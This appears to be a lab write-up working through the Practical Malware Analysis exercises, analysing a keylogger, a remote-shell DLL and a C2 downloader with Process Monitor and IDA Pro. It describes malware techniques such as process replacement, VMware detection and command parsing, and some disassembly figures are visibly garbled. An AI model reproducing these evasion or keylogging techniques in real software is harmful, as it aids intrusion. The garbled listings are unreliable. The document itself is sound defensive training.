User-Agent: cxe-942ab615ea5 Windows XP 6.11
Host: practicalmalwareanalysis.com

```

Figure 5.3 — [Netcat](#) receiving HTTP GET header

Reverting to snapshot and reinstalling & launching the malicious .dll/service, we can also capture traffic by using [ApateDNS](#) to redirect to loopback were we have a [Netcat](#) listener on port 80 (Figure 5.3). Here, we see the same HTTP GET header as we did within [Wireshark](#).

Referring back to the `strings` output, “*practicalmalwareanalysis.com*”, “*serve.html*”, and “*Windows XP 6.11*” are also evident within the network analysis and can be used as signatures for the malware.

To recap on the main host/network-based indicators we see:

- `IPRIP` installed as a service, including strings such as “*Intranet Network Awareness (INA+)*”
- Network activity to “*practicalmalwareanalysis.com/serve.html*” as well as the User-Agent `%ComputerName% Windows XP 6.11`.

g. Execute the malware found in the file Lab03-03.exe while monitoring it using basic dynamic analysis tools in a safe environment

i- After prepping for dynamic analysis, launch **Lab03–03.exe** and you may notice it appear briefly within [Process Explorer](#) with a child process of `svchost.exe`. After a moment however, it disappears leaving `svchost.exe` orphaned (Figure 1.1).

Process	CPU	Private Bytes	Working Set	PID	Description	Company Name
System Idle Process	99.80	0 K	28 K	0		
System	< 0.01	0 K	244 K	4	n/a Hardware Interrupts and DPCs	
Interrupts		168 K	388 K	580	Windows NT Session Mana...	Microsoft Corporation
smss.exe		1,828 K	4,932 K	632	Client Server Runtime Process	Microsoft Corporation
csss.exe		7,480 K	4,892 K	712	Windows NT Logon Application	Microsoft Corporation
winlogon.exe		19,432 K	13,252 K	1748	Windows Explorer	Microsoft Corporation
explorer.exe		14,736 K	19,020 K	1948	VMware Tools Core Service	VMware, Inc.
vmtoolsd.exe		888 K	384 K	2620	Notepad	Microsoft Corporation
notepad.exe		1,948 K	2,556 K	2248	Windows Command Processor	Microsoft Corporation
cmd.exe		67,600 K	8,192 K	460	Process Monitor	Sysinternals - www.sysinter...
Procmon.exe		48,720 K	51,432 K	3496	Regshot 1.9.0 x86 Unicode	Regshot Team
Regshot-x86-Unicode.exe		95,416 K	6,244 K	1536	Wireshark	The Wireshark developer ...
Wireshark.exe	0.20	37,912 K	42,944 K	688	Sysinternals Process Explorer	Sysinternals - www.sysinter...
procesp.exe		864 K	2,252 K	4080	Generic Host Process for Wi...	Microsoft Corporation
svchost.exe						

Figure 1.1 — Orphaned svchost.exe

An orphaned process is one with no parent listed in the process tree. `svchost.exe` typically has a parent process of `services.exe`, but this one being orphaned is unusual and suspicious.

Investigating this instance of `svchost.exe`, we see it has a Parent: `Lab03-03.exe (904)`, confirming it's come from executing **Lab03-03.exe**. Exploring the properties further, we don't see much anomalous until we get to the strings.

ii- Utilizing strings within [Process Explorer](#) is actually a useful trick to analyse malware which is packed or encrypted, because the malware is running and unpacks/decodes itself when it starts. We're also able to view strings in both the image on disk and in memory.




Figure 2.1 — Comparing strings in memory from process explorer and from running strings on **Lab03–03.exe**

Taking advantage of this, we can inspect the strings in Image and in Memory, as well as compare against what we found from `strings` during quick static analysis.

The strings on image appear pretty consistent with other instances of `svchost.exe` however, within Memory, these much greater resemble what we discovered earlier, but with a few distinct differences — `practicalmalware.log` and a set of keyboard commands (Figure 2.1). This is an indicator that the keylogger guess might be accurate.

iii- To test the keylogger hypothesis, we can open something and type stuff. To target explicitly on the malware, filter on the suspect `svchost.exe` (PID, 3936) within Process Monitor, and we see a whole load of file manipulation for `practicalmalwareanalysis.log` (Figure 3.1).

5:47:3...	svchost.exe	3906	CreateFile	C:\Documents and Settings\VA\...	SUCCESS		
5:47:3...	svchost.exe	3906	CreateFile	C:\Documents and Settings\VA\...	SUCCESS	Desired Access: Generic Write, Read Attributes, Disposition: Open...	
5:47:3...	svchost.exe	3906	QueryStandard...	C:\Documents and Settings\VA\...	SUCCESS	AllocationSize: 344, EndOfFile: 342, NumberOfOFLinks: 1, DeletePen...	
5:47:3...	svchost.exe	3906	WriteFile	C:\Documents and Settings\VA\...	SUCCESS	Offset: 342, Length: 1	
5:47:3...	svchost.exe	3906	CreateFile	C:\Documents and Settings\VA\...	SUCCESS		
5:47:3...	svchost.exe	3906	CreateFile	C:\Documents and Settings\VA\...	SUCCESS	Desired Access: Generic Write, Read Attributes, Disposition: Open...	
5:47:3...	svchost.exe	3906	QueryStandard...	C:\Documents and Settings\VA\...	SUCCESS	AllocationSize: 344, EndOfFile: 343, NumberOfOFLinks: 1, DeletePen...	
5:47:3...	svchost.exe	3906	WriteFile	C:\Documents and Settings\VA\...	SUCCESS	Offset: 343, Length: 12	
5:47:3...	svchost.exe	3906	WriteFile	C:\Documents and Settings\VA\...	SUCCESS	Desired Access: Generic Write, Read Attributes, Disposition: Open...	
5:47:3...	svchost.exe	3906	CreateFile	C:\Documents and Settings\VA\...	SUCCESS	AllocationSize: 355, EndOfFile: 52	
5:47:3...	svchost.exe	3906	WriteFile	C:\Documents and Settings\Administrator\Desktop\PMAs_Labs\Practical_Malware_Analysis_Labs\BinaryCollection\Chapter_3\practicalmalwareanalysis.log	SUCCESS		
5:47:3...	svchost.exe	3906	CreateFile	C:\Documents and Settings\VA\...	SUCCESS		
5:47:3...	svchost.exe	3906	QueryStandard...	C:\Documents and Settings\VA\...	SUCCESS	Desired Access: Generic Write, Read Attributes, Disposition: Open...	
5:47:3...	svchost.exe	3906	CreateFile	C:\Documents and Settings\VA\...	SUCCESS	AllocationSize: 416, EndOfFile: 411, NumberOfOFLinks: 1, DeletePen...	
5:47:3...	svchost.exe	3906	CreateFile	C:\Documents and Settings\VA\...	SUCCESS	Desired Access: Generic Write, Read Attributes, Disposition: Open...	

Figure 3.1 — Process Monitor file manipulation from malicious svchost.exe

iv- Opening `practicalmalwareanalysis.log`, we find that the file captures inputted strings and distinctive keyboard commands as seen within the memory strings from [Process Explorer](#) (Figure 4.1). This confirms that **Lab03–03.exe** a keylogger using process replacement on `svchost.exe`.

```
[window: 3_2 - Notepad]
s
[window: Process Monitor Filter]
3936
[window: Analysis]
test@ [ENTER]
[window: test - Notepad]
this is a test to see if we are getting key logged@ [ENTER]@BACKSPACE my password is supersecretpassword12311@ [ENTER]@ [ENTER]goodbye@ [ENTER]s
[window: Program Manager]
s
[window: Process Monitor - Sysinternals: www.sysinternals.com]
ss,
[window: svchost.exe:3936 Properties]
```

Figure 4.1 — Evidence of **Lab03–03.exe** keylogging

h. Analyze the malware found in the file Lab03-04.exe using basic dynamic analysis tools.

i-What happens when you run this file?

When we run the file. Process is created which opens up the CMD and then deleted the original executable after making it execute and hide itself somewhere else.

ii-What is causing the roadblock in dynamic analysis?

The executable is evasive and trying to evade itself by checking whether the system is VM or not. AV-Detection etc. Obviously this will make it difficult to observe the file via dynamic analysis.

iii- Are there other ways to run this program?

The other ways can be to open this executable using Ollydbg or IDA pro where we can analyze it in a more efficient way.

Practical No. 2

a. Analyze the malware found in the file Lab05-01.dll using only IDA Pro. The goal of this lab is to give you hands-on experience with IDA Pro. If you've already worked with IDA Pro, you may choose to ignore these questions and focus on reverse engineering the malware

[IDA Pro](#), an Interactive Disassembler, is a disassembler for computer programs that generates assembly language source code from an executable or a program. IDA Pro enables the disassembly of an entire program and performs tasks such as function discovery, stack analysis, local variable identification, in order to understand (or change) its functionality.

This lab utilises IDA to explore a malicious .dll and demonstrates various techniques for navigation and analysis. Any useful shortcuts will be identified.

i. What is the address of DllMain?

The address off DllMain is `0x1000D02E`. This can be found within the graph mode, or within the Functions window (figure 2).




Figure 2: Address of DllMain

ii. Where is the import gethostbyname located?

`gethostbyname` is located at `0x100163CC` within `.idata` (figure 3). This is found through the Imports window and double-clicking the function. Here we can also see `gethostbyname` also takes a single parameter — something like a string.

```
.idata:100163CC ; struct hostent * __stdcall gethostbyname(const char *name)
idata:100163CC      extrn gethostbyname:dword
idata:100163CC          ; CODE XREF: sub_10001074:loc_100011AF↑p
idata:100163CC          ; sub_10001074+1D3↑p ...
```

Figure 3: Location of gethostbyname

iii. How many functions call gethostbyname?

Searching the xrefs (ctrl+x) on `gethostbyname` shows it is referenced 18 times, 9 of which are type (p) for the near call, and the other 9 are read (r) (figure 4). Of these, there are 5 unique calling functions.

xrefs to gethostbyname

Direction	Type	Address	Text	
Up	p	sub_10001074:loc_10001...	call	ds:gethostbyname
Up	p	sub_10001074+1D3	call	ds:gethostbyname
Up	p	sub_10001074+26B	call	ds:gethostbyname
Up	p	sub_10001365:loc_10001...	call	ds:gethostbyname
Up	p	sub_10001365+1D3	call	ds:gethostbyname
Up	p	sub_10001365+26B	call	ds:gethostbyname
Up	p	sub_10001656+101	call	ds:gethostbyname
Up	p	sub_1000208F+3A1	call	ds:gethostbyname
Up	p	sub_10002CCE+4F7	call	ds:gethostbyname
Up	r	sub_10001074:loc_10001...	call	ds:gethostbyname
Up	r	sub_10001074+1D3	call	ds:gethostbyname
Up	r	sub_10001074+26B	call	ds:gethostbyname
Up	r	sub_10001365:loc_10001...	call	ds:gethostbyname
Up	r	sub_10001365+1D3	call	ds:gethostbyname
Up	r	sub_10001365+26B	call	ds:gethostbyname
Up	r	sub_10001656+101	call	ds:gethostbyname
Up	r	sub_1000208F+3A1	call	ds:gethostbyname
Up	r	sub_10002CCE+4F7	call	ds:gethostbyname

OK Cancel Search

Line 1 of 18

Figure 4: gethostbyname xrefs

iv. For gethostbyname at 0x10001757, which DNS request is made?

Pressing G and navigating to 0x10001757, we see a call to the `gethostbyname` function, which we know takes one parameter; in this case, whatever is in `eax` — the contents of `off_10019040` (figure 5)

```

000000001000174E A1 40 90 01 10    mov    eax, off_10019040
0000000010001753 83 C0 0D          add    eax, 0Dh           ; Add
0000000010001756 50              push   eax             ; name
0000000010001757 FF 15 CC 63 01 10 call   ds:gethostbyname ; Indirect Call Near Procedure
000000001000175D 8B F0          mov    esi, eax
000000001000175F 3B F3          cmp    esi, ebx           ; Compare Two Operands
0000000010001761 74 5D          jz     short loc_100017C0 ; Jump if Zero (ZF=1)

```

Figure 5: gethostbyname at 0x10001757

The contents of `off_10019040` points to a variable `aThisIsRdoPicsP` which contains the string `[This is RDO]pics.practicalmalwareanalysis.com`. This is moved into `eax` (figure 6).

```

000000001000174E A1 40 90 01 10    mov    eax, off_10019040
0000000010001753 83 C0 0D          add    eax, 13           ; Add
0000000010001756 50              push   eax             ; offset aThisIsRdoPicsP
0000000010001757 FF 15 CC 63 01 10 call   ds:gethostbyname ; DATA XREF: sub_10001656:loc_10001722f...
000000001000175D 8B F0          mov    esi, eax
000000001000175F 3B F3          cmp    esi, ebx           ; Compare Two Operands
0000000010001761 74 5D          jz     short loc_100017C0 ; Jump if Zero (ZF=1)

```

Figure 6: Contents of `off_10019040` (`aThisIsRdoPicsP`)

Importantly, `0Dh` is added to `eax`, which moves the pointer along the current contents. `0Dh` can be converted in IDA by pressing H, to 13. This means the `eax` now points to 13 characters inside of its current contents, skipping past the prefix [This is RDO] and resulting in the DNS request being made for `pics.practicalmalwareanalysis.com`.

v & vi. How many parameters and local variables are recognized for the subroutine at 0x10001656?

There are a total of 24 variables and parameters for sub_10001656 (figure 7).

Figure 7: sub_10001656 parameters and variables

Local variables correspond to negative offsets, where there are **23**. Many are generated by IDA and prepended with `var_` however there are some which have been resolved, such as `name` or `commandline`. As we work through, we generally rename any of the important ones.

Parameters have positive offsets. Here there is **one**, currently `lpThreadParameter`. This may also be seen as `arg_0` if not automagically resolved.

vii. Where is the string \cmd.exe /c located in the disassembly?

Press Alt+T to perform a string search for `\cmd.exe /c`, which is stored as `aCmdExeC`, found within `sub_1000FF58` at offset `0x100101D0` (figure 8).




Figure 8: Location of '`\cmd.exe /c`'

viii. What happens around the referencing of \cmd.exe /c?

The command `cmd.exe /c` opens a new instance of cmd.exe and the `/c` parameter instructs it to execute the command then terminate. This suggests that there is likely a construct of something to execute somewhere nearby.

Taking a cursory look around `sub_1000FF58`, we see several indications of what might be happening. Look for `push offset x` for quick wins.

Towards the top of the function, we see an address that is quite telling of what is happening. The offset `aHiMasterDDDDDD` called at `0x1001009D` contains a long message which includes several strings relating to system time information (actually initialised just before), but more notably reference to a **Remote Shell** (figure 9).




Figure 9: Contents of offset `aHiMasterDDDDDD`

Further on throughout the function, there are more interesting offset addresses with strings that may provide an indication of activity.

Offset	String
aQuit	Quit
aExit	Exit
aCd	cd
asc_10095C5C	>
aEnmagic	enmagic
a0x02x	\r\n\r\n\r\n0x%02x\r\n\r\n\r\n
aIdle	idle
aUptime	uptime
aLanguage	language
aRobotwork	robotwork
aMbase	mbase
aMhost	mhost
aMmodule	mmodule
aMinstall	minstall
aInject	inject
aIexploreExe	iexplore.exe
aCreateprocessG	CreateProcess() GetLastError reports %d

Figure 10: Offset strings within sub_1000FF58

Some of which are likely part of any commandline activity, whereas others may be additional modules. Some of the notable ones might be aInject, aIexploreExe, and aCreateprocessG, which could be indicative of process injection into iexplore.exe.

ix. At 0x100101C8, dword_1008E5C4 indicates which path to take. How does the malware set dword_1008E5C4?

The comparison of dword_1008E5C4 and ebx will determine whether \cmd.exe /c or \command.exe /c is pushed; likely based upon the Operating System version to utilise the correct command prompt (figure 11).




Figure 11: cmd.exe or command.exe options

Following the xrefs of `dword_1008E5C4`, we see it written (type w) in `sub_10001656`, with the value of `eax`. There is a preceding call to `sub_10003695`, where the function takes a look at the system's Version Information (using API call `GetVersionExA`) (figure 12).




Figure 12:

There is a comparison between the VersionInformation.dwPlatformId and 2, so looking at the [Windows Platform IDs](#) we see that it is looking to see if ‘The operating system is Windows NT or later.’ If it is, then \cmd.exe /c is pushed. If not, then it is \command.exe /c.

x. What happens if the string comparison to robotwork is successful?

The `robotwork` string comparison is completed using the function `memcmp`, which returns **0** if the two strings are identical. The `JNZ` branch jumps if the result **Is Not Zero**. This means, if the `robotwork` comparison is successful, returning 0, then the jump does not execute (the red path). If the `memcmp` was unsuccessful, then some other non-zero value would be returned and the jump (green path) would be followed (figure 13).




Figure 13: memcmp of robotwork

Not jumping, (and following the red path), leads to a new function `sub_100052A2` which includes registry keys `SOFTWARE\Microsoft\Windows\CurrentVersion\WorkTime` and `WorkTimes`. The function is looking for values within the `WorkTime` and `WorkTimes` (`RegQueryValueExA`) and if so, are displayed as part of the relevant `aRobotWorktime` offset addresses (via `%d`) (figure 14).

```

000000001000520F 5B    push  eax ; phkResult
0000000010005210 48 3F 00 00 00 00 push  eax ; subwordSize
0000000010005215 6A 89 push  rbp ; rbp=lpType
000000001000521A 48 83 EC 30 00 00 00 push  offset lpType
000000001000522C 6A 82 00 00 00 push  offset lpType
0000000010005271 FF 35 39 60 01 00 call  dword@gpkeyInfo ; Indirect Call Near Procedure
0000000010005271 85 CB test  eax, eax ; Logical Compare
0000000010005279 74 EE jz  short loc_10005309 ; Jump If Zero (ZF=1)
0000000010005219

0000000010005320 5B    push  eax ; phkResult
0000000010005320 6A 89 push  rbp ; rbp=lpType
0000000010005320 48 83 EC 30 00 00 00 push  offset lpType
0000000010005320 6A 80 push  offset lpType
0000000010005320 FF 75 FC call  abx ; RegQueryValueEx ; Indirect Call Near Procedure
0000000010005320 80 35 F4 02 01 10 mov  ax, ds:[rip+ref]

0000000010005320 6A 80 push  offset lpType
0000000010005320 48 83 EC 30 00 00 00 push  offset lpType
0000000010005320 6A 80 push  offset lpType
0000000010005320 FF 75 FC call  abx ; RegQueryValueEx ; Indirect Call Near Procedure
0000000010005320 80 35 F4 02 01 10 mov  ax, ds:[rip+ref]

0000000010005305 5B    push  eax
0000000010005305 AD 85 F4 F9 FF FF lea  eax, [ebp+Dest] ; Load Effective Address
0000000010005305 6A 94 48 00 10 push  eax, [ebp+WorkTime] ; "r\nr\n[Robot_WorkTime]: %d\r\n"
0000000010005305 50    push  eax ; Dest
0000000010005305 FF D6 call  esl ; sprintf ; Indirect Call Near Procedure
0000000010005305
0000000010005305 83 C4 10 add  esp, 10h ; Add
0000000010005305 8D 85 F4 F9 FF FF lea  eax, [ebp+Dest] ; Load Effective Address
0000000010005305 6A 00 push  eax ; Str
0000000010005305 50    push  eax ; Str

0000000010005305 83 C4 10 add  esp, 10h ; Add
0000000010005305 8D 85 F4 F9 FF FF lea  eax, [ebp+Dest] ; Load Effective Address
0000000010005305 6A 00 push  eax ; Str
0000000010005305 50    push  eax ; Str

```

Figure 14: Querying SOFTWARE\Microsoft\Windows\CurrentVersion WorkTime and WorkTimes registry keys

The start of the function takes in a parameter for SOCKET as s , which is then passed through to a new function (sub_100038EE) along with the registry values (ebp) (figure 15).

```

00000000100052A2 ; int __cdecl sub_100052A2(SOCKET s)
00000000100052A2 sub_100052A2 proc near
00000000100052A2
00000000100052A2 Dest= byte ptr -60ch
00000000100052A2 var_60B= byte ptr -608h
00000000100052A2 Data= byte ptr -20ch
00000000100052A2 var_20B= byte ptr -208h
00000000100052A2 cbData= dword ptr -8ch
00000000100052A2 Types= dword ptr -8
00000000100052A2 phkResult= dword ptr -4
00000000100052A2 s= dword ptr 8
00000000100052A2
00000000100052A2

00000000100053D9 8D 85 F4 F9 FF FF lea  eax, [ebp+Dest] ; Load Effective Address
00000000100053D9 50    push  eax ; int
00000000100053E0 FF 75 08 push  [ebp+s] ; s
00000000100053E3 EB 0E E5 FF FF call  sub_100038EE ; Call Procedure
00000000100053E3
00000000100053E8 83 C4 10 add  esp, 10h ; Add
00000000100053E8

```

Figure 15: Passing registry values through SOCKET s

Therefore, if the string comparison for robotwork is successful, the registry keys SOFTWARE\Microsoft\Windows\CurrentVersion WorkTime and WorkTimes are queried and the values passed through (likely) the remote shell connection.

xi. What does the export PSLIST do?

Name	Address	Ordinal
InstallIRT	000000001000D847	1
InstallSA	000000001000DEC1	2
InstallSB	000000001000E892	3
PSLIST	0000000010007025	4
ServiceMain	000000001000CF30	5
StartEXS	0000000010007ECB	6
UninstallIRT	000000001000F405	7
UninstallSA	000000001000EA05	8
UninstallSB	000000001000F138	9
DllEntryPoint	000000001001516D	[main entry]

Figure 16: Exports view

Open the exports list and find the exported function PSLIST. (figure 16).

Navigate here and see there are three subroutines. One of which queries OS version information (similar as seen in Q9, but this time also sees if dwMajorVersion is 5 for more specific OS footprinting ([dwMajorVersions](#))), and depending on the outcome, will call either sub_10006518 or sub_1000664C (figure 17).




Figure 17: PSLIST exported function paths

Both `sub_10006518` and `sub_1000664C` utilise `CreateToolhelp32Snapshot` to take a snapshot of the specified processes and associated information, and then execute appropriate commands to query the running processes IDs, names, and the number of threads. `sub_1000664C` also includes the `SOCKET (s)` to send the output out to (figure 18).




Figure 18: Using CreateToolhelp32Snapshot, querying running processes, and sending to socket




Figure 21: API functions called by DllMain.

Some of the more notable API calls which may provide indication of functionality are: sleep winexec gethostbyname inet_nota CreateThread WSASStartup inet_addr recv send socket connect LoadLibraryA

xiv. How long will the Sleep API function at 0x10001358 execute for?

At first glance, one might think that the value passed to the sleep is 3E8h (1000), equating to 1 second, however it is a imul call which means the value at eax is getting multiplied by 1000. Looking up, we see that aThisIsCti30 at the offset address is moved into eax and then the pointer is moved 13 along (similar to what's seen in Q2) (figure 22).



Figure 22: Sleep for 30 seconds

This means that the value of eax when it is pushed is 30. atoi converts the string to an integer, and it is multiplied by 1000. Therefore, the Sleep API function sleeps for 30 seconds.

xv & xvi. What are the three parameters for the call to socket at 0x10001701?

The three values pushed to the stack, labeled as protocol, type, and af, and are 6, 1, 2 respectively, are the three parameters used for the call to socket (figure 23).

```

00000000100016FB
00000000100016FB      loc_100016FB:          ; protocol
00000000100016FD  6A 06      push   6
00000000100016FD  6A 01      push   1          ; type
00000000100016FF  6A 02      push   2          ; af
0000000010001701 FF 15 F8 63 01 10  call    ds:socket        ; Indirect Call Near Procedure
0000000010001707  8B F8      mov    edi, eax
0000000010001709  83 FF FF      cmp    edi, 0FF
000000001000170C  75 14      jnz    short loc_1000170C

```

Figure 23: Call to socket at 0x10001701

These depict what type of socket is created. Using [Socket Documentation](#) we can determine that in this case, it is TCP IPV4. At this point, we might aswell rename those operands (figure 24).

Parameter	Description	Value	Meaning
af	Address Family specification	2	IF_INET
type	Type of socket	1	SOCK_STREAM
protocol	Protocol used	6	IPPROTO_TCP

```

loc_100016FB:          ; protocol
push   IPPROTO_TCP
push   SOCK_STREAM       ; type
push   IF_INET           ; af
call   ds:socket         ; Indirect Call

```

Figure 24: Definitions and renaming of socket parameters

xvii. Is there VM detection?

Occurrences of binary: 0xED	IDA View-A	Hex View-1
Address	Function	Instruction
.text:10001098	sub_10001074	xor ebp, ebp; Logical Exclusive OR
.text:10001181	sub_10001074	test ebp, ebp; Logical Compare
.text:10001222	sub_10001074	test ebp, ebp; Logical Compare
.text:100012BE	sub_10001074	test ebp, ebp; Logical Compare
.text:1000135F	sub_10001074	xor ebp, ebp; Logical Exclusive OR
.text:10001389	sub_10001365	xor ebp, ebp; Logical Exclusive OR
.text:10001472	sub_10001365	test ebp, ebp; Logical Compare
.text:10001513	sub_10001365	test ebp, ebp; Logical Compare
.text:100015AF	sub_10001365	test ebp, ebp; Logical Compare
.text:10001650	sub_10001365	xor ebp, ebp; Logical Exclusive OR
.text:100030AF	sub_10002CCE	call strcat; Call Procedure
.text:10003DE2	sub_10003DC6	lea edi, [ebp+var_813]; Load Effective Address
.text:10004326	sub_100042DB	lea edi, [ebp+var_913]; Load Effective Address
.text:10004B15	sub_10004B01	lea edi, [ebp+var_213]; Load Effective Address
.text:10005305	sub_100052A2	jmp loc_100053F6; Jump
.text:10005413	sub_100053F9	lea edi, [ebp+var_413]; Load Effective Address
.text:1000542A	sub_100053F9	lea edi, [ebp+var_213]; Load Effective Address
.text:10005B98	sub_10005B84	xor ebp, ebp; Logical Exclusive OR
.text:100061DB	sub_10006196	in eax, dx

Figure 25: Searching for the in instruction using 0xED in binary.

The `in` instruction (opcode `0xED`) is used with the string `VMXh` to determine whether the malware is running inside VMware. `0xED` can be searched (alt+B) and look for the `in` instruction (figure 25).

From here, we can navigate into the function and see what is going on within `sub_10006196`.


```

00000000100061C5 51      push   ecx
00000000100061C6 53      push   ebx
00000000100061C7 B8 68 58 4D 56    mov    eax, 'VMXh'
00000000100061CC BB 00 00 00 00    mov    ebx, 0
00000000100061D1 B9 0A 00 00 00    mov    ecx, 10
00000000100061D6 BA 58 56 00 00    mov    edx, 'VX'
00000000100061DB ED      in     eax, dx
00000000100061DC 81 FB 68 58 4D 56    cmp    ebx, 'VMXh' ; Compare Two Operands
00000000100061E2 0F 94 45 E4      setz   [ebp+var_1C] ; Set Byte if Zero (ZF=1)
00000000100061EE C9      pop    ebx

```

Figure 26: in instruction within sub_10006196

Directly around the `in` instruction, we see evidence of the string `VMXh` (converted from original hex value) (figure 26), which is potentially indicative of VM detection. If we look at the other xrefs of `sub_10006196` we see three occurrences, each of which contains `aFoundVirtualMa`, indicating the install is canceling if a Virtual Machine is found (figure 27).

Figure 27: Found Virtual Machine string found after `VMXh` string

xviii, xix, & xx. What is at 0x1001D988?

The data starting at `0x1001D988` appears illegible, however, we can convert this to ASCII (by pressing A), albeit still unreadable (Figure 28).

<pre> .data:1001D988 db 20h ; - .data:1001D989 db 31h ; 1 .data:1001D98A db 3Ah ; : .data:1001D98B db 3Ah ; : .data:1001D98C db 27h ; ' .data:1001D98D db 75h ; u .data:1001D98E db 3Ch ; < .data:1001D98F db 26h ; & </pre>	<pre> 0000000010006196 83 C0 0D ; Call Procedure 0000000010006196 84 C0 0D ; Logical Compare 0000000010006196 74 1E jz short loc_10006196 ; Jump if Zero (ZF=1) </pre>
<pre> .data:1001D988 a1UUU7461Yu2u10 db '-1::',27h,'u&!=<&u746>1::',27h,'yu&!',27h,'<;2u106:101u3:',27h,'u' .data:1001D989 db 5 .data:1001D98A db 27h,'46!<649u' .data:1001D98B db 18h .data:1001D98C db '49"4',27h,'0u' .data:1001D98D db 14h .data:1001D98E db ',49,&<&u' .data:1001D98F db 19h .data:1001D98G db '47uo dgfa',0 </pre>	<pre> 0000000010006196 83 C0 0D ; Call Procedure 0000000010006196 84 C0 0D ; Logical Compare 0000000010006196 74 1E jz short loc_10006196 ; Jump if Zero (ZF=1) </pre>
<pre> .data:1001D988 db 36h ; b .data:1001D989 db 3Eh ; > .data:1001D98A db 31h ; 1 .data:1001D98B db 3Ah ; : .data:1001D98C db 3Ah ; : .data:1001D98D db 27h ; ' .data:1001D98E db 79h ; y .data:1001D98F db 75h ; u .data:1001D9A0 db 26h ; & .data:1001D9A1 db 21h ; ! .data:1001D9A2 db 27h ; ' .data:1001D9A3 db 3Ch ; < .data:1001D9A4 db 38h ; ; .data:1001D9A5 db 32h ; 2 </pre>	<pre> 0000000010006196 83 C0 0D ; Call Procedure 0000000010006196 84 C0 0D ; Logical Compare 0000000010006196 74 1E jz short loc_10006196 ; Jump if Zero (ZF=1) </pre>

Figure 28: Random data at `0x1001D988`




Figure 1: Lab06–01 | main subroutine

Navigating into the first subroutine called in main (`sub_401000`) (figure 2), we see it executes an external API call `InternetGetConnectedState`, which returns a `TRUE` if the system has an internet connection, and `FALSE` otherwise. This is followed by a comparison against 0 (`FALSE`) and then a `JZ` (Jump If Zero). This means the jump will be successful if `InternetGetConnectedState` returns `FALSE` (0) (There is no internet connection).




Figure 2: Lab06–01 | sub 401000 internet connection test

Therefore, the jump path (`short loc_40102B`) is taken and the string returned will be '*Error 1.1: No Internet\n*'.

`InternetGetConnectedState` returns TRUE, then the jump is not successful, and the returned string is ‘Success: *Internet Connection*\n’.

Based upon this, it can be determined that the major code construct is a basic **If Statement**.

ii. What is the subroutine located at 0x40105F?

Given the proximity to the strings at the offset addresses in each path, it can be assumed that `sub_40105F` is `printf`, a function used to print text with formatting (supported by the `\n` for newline in the strings).

IDA didn't automatically pick this up for me, but with some cross-referencing and looking into what we would expect as parameters, we can be safe in the assumption.

iii. What is the purpose of this program?

Lab06-01.exe is a simple program to test for internet connection. It utilises API call InternetGetConnectedState to determine whether there is internet, and prints an advisory string accordingly.

c. Analyze the malware found in the file *Lab06-02.exe*.

i & ii. What operation does the first subroutine called by main perform? What is the subroutine located at 0x40117F?

This is very similar to Lab06–01.exe. We can easily find the main subroutine again (this time `sub_401130`), and again we see the first subroutine called is `sub_401000`. This is very similar as it calls `InternetGetConnectedState` and prints the appropriate message (figure 3). We also can verify that `0x40117F` is still the `printf` function, which I've renamed.

Figure 3: Lab06–02 | sub 401000 internet connection test & sub 40117F (printf)

iii. What does the second subroutine called by main do?

This is something new now; the `main` function in `lab06-02.exe` is a little more complex with an added subroutine and another conditional statement (figure 4). We can see that `sub_401040` is reached by the preceding `cmp` to 0 being successful (`jnz` jump if not 0), which therefore means

we're hoping for the returned value from `sub_401000` to be not 0 — indication there IS internet connection.




Figure 4: Lab06–02 | main subroutine

Navigating to `sub_401040`, we immediately see some key information, which supports the determination that this occurs if there is an internet connection.

The most stand-out information is the two API calls, `InternetOpenA` and `InternetOpenUrlA`, which are used to initiate an internet connection and open a URL. We also see some strings at offset addresses just before these, indicating these are passed to the API calls (figure 5).




Figure 6: Lab06–02 | Reading first 4 bytes of cc.htm

There are then four `cmp / jnz` blocks which each comparing a single byte from the `Buffer` and several variables. These may also be seen as `Buffer+1`, `Buffer+2`, etc. This is a notable code construct in which a character array is filled with data from `InternetReadFile` and is read one by one.

These values have been converted (by pressing R) to ASCII. Combined these read `<!--`, indicative of the start of a comment in HTML. If the value comparisons are successful, then `var_20C` (likely the whole 512 bytes in `Buffer`, but just mislabeled by IDA) is read. If at any point a byte read is incorrect, then an alternative path is taken and the string “*Error 2.3: Fail to get command\n*” is printed.

Looking back at `main`, if this all passes with no issues, the string “*Success: Parsed command is %c\n*” is printed and the system does `Sleep` for 60000 milliseconds (60 seconds) (figure 7). The command printed (displayed through formatting of `%c` is variable `var_8`) is the returned value from `sub_401040`, the contents of `cc.htm`.




Figure 7: Lab06–02 | Reporting successful read of command and sleeping for 60 seconds

```

main proc near

var_8= byte ptr -8
var_4= dword ptr -4
argc= dword ptr 8
argv= dword ptr 0Ch
envp= dword ptr 10h

push    ebp
mov     ebp, esp
loc_401228: sub    esp, 8      ; Integer Subtraction
call    testInternet ; Call Procedure
mov    [ebp+var_4], eax
cmp    [ebp+var_4], 0      ; Compare Two Operands
jnz    short loc_401228 ; Jump if Not Zero (ZF=0)

loc_401228:
0000000000401228 E8 13 FE FF FF call    downloadfile ; Call Procedure
000000000040122D 88 45 F8 mov    [ebp+var_8], al
0000000000401230 0F BE 45 F8 movsx  eax, [ebp+var_8] ; Move with Sign-Extend
0000000000401234 85 C0 test   eax, eax      ; Logical Compare
0000000000401236 75 04 jnz    short loc_40123C ; Jump if Not Zero (ZF=0)

loc_40123C:
000000000040123C xor    eax, eax      ; Logical Exclusive OR
000000000040123A EB 31 jmp    short loc_401260 ; Jump

loc_401260:
000000000040123B 33 C0 xor    eax, eax      ; Logical Exclusive OR
000000000040123E EB 31 jmp    short loc_401260 ; Jump

loc_401260:
0000000000401260 8B E5 mov    esp, ebp
000000000040126D 5D pop    ebp
0000000000401270 C3 retn      ; Return Near from Procedure
0000000000401270 main endp

```

```

main proc near

var_8= byte ptr -8
var_4= dword ptr -4
argc= dword ptr 8
argv= dword ptr 0Ch
envp= dword ptr 10h

push ebp
mov ebp, esp
sub esp, 8      ; Integer Subtraction
call testInternet ; Call Procedure
mov [ebp+var_4], eax
cmp [ebp+var_4], 0 ; Compare Two Operands
jnz short loc_401148 ; Jump if Not Zero (ZF=0)

loc_401148:
    call downloadFile ; Call Procedure
    mov [ebp+var_8], al
    movsx eax, [ebp+var_8] ; Move with Sign-Extend
    test eax, eax ; Logical Compare
    jnz short loc_40115C ; Jump if Not Zero (ZF=0)

loc_40115C:
    movsx ecx, [ebp+var_8] ; Move with Sign-Extend
    push ecx
    push offset aSuccessParsedC ; "Success: Parsed command is %c\n"
    call printf ; Call Procedure
    add esp, 8 ; Add
    push 60000 ; dwMilliseconds
    call ds:Sleep ; Indirect Call Near Procedure
    xor eax, eax ; Logical Exclusive OR

